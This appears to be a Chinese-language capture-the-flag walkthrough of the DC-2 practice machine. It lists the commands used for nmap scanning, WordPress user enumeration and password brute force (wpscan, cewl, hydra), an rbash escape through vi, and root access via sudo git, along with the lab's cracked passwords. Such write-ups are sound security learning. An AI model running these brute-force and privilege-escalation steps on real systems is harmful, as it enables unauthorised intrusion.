纪录一下,打的第二个靶机
nmap扫描
nmap -PE -sP -n 192.168.254.0/24
同网段下存活主机
nmap -sV -p1-65535 192.168.254.130
全端口扫描
开放80端口和改了ssh默认端口的7744端口。访问80端口
发现无法连接到靶机,看了下说明,要在/etc/hosts文件添加
192.168.254.130 dc-2
访问看到是个wp的cms,并且看到flag1
让我们登录。尝试一下,访问wp-login.php
进入到登录界面
admin尝试没有弱密码,提示说尝试其他用户登录。使用wpscan来枚举和爆破
wpscan --url http://dc-2/ -U admin -P /usr/share/wordlists/rockyou.txt
wpscan --url http://dc-2/ --enumerate u
枚举admin、jerry、tom三个用户,之后分别爆破密码。没多久就放弃了。还不认识cewl,现学现用,使用cewl生成密码字典,再次爆破
爬虫指定url地址和深度,返回一个密码字典,可以设置密码长度等
cewl http://dc-2/ -w dict.txt
wpscan --url http://dc-2/ -U jerry -P dict.txt
admin没成功,jerry和tom都成功。分别为adipiscing和parturient(不得不说这工具真强大)
登录后在page处找到flag2(tom只是普通用户,这里以jerry登录)
让我们找到另一个切入点。看到文件上传尝试一下。不允许上传,无法绕过(不过富文本编辑器有个XSS)
找不到其他利用点,想到刚才扫出来的7744端口,ssh连接。hydra破解发现之前tom的账户密码可以连接,其他两个用户不行
hydra -l tom -P dict.txt ssh://192.168.254.130:7744
ssh tom@192.168.254.130 -p 7744 //密码parturient
连接成功。ls
看到flag3.txt。简单尝试了一下,vi
、less
命令可以查看
翻译了一下
看了一下usr文件,发现有如下命令可以使用
读取/etc/passwd发现tom只能够使用rbash
,搜了一下,被限制使用命令
rbash逃逸
用到逃逸。有一个scp命令,可以在linux之间传文件。刚开始以为将kali的命令文件复制给tom就可以执行,结果发现报错,就放弃了。
使用vi
,打开后依次输入,输入完一条回车即可
:set shell=/bin/sh
:shell
得到shell后再输入这两条命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
就可以正常使用命令。在/home目录找到jerry,并看到flag4.txt
找SUID权限提权
find / -perm -u=s -type f 2>/dev/null
看到sudo,试试sudo -l
显示tom没有sudo。那就试试su
切换到jerry,密码是之前的密码adipiscing。发现可以使用git
sudo可以理解为管理员可以授权普通用户去执行一些root执行的操作,不需要root密码。sudo -l参数显示可以执行哪些root权限的命令。
sudo git help config
!/bin/bash
成功提权至root
成功拿到最终flag。
总结:
1.爆破时尝试用cewl生成密码字典
2.rbash逃逸
3.sudo -l提权,git提权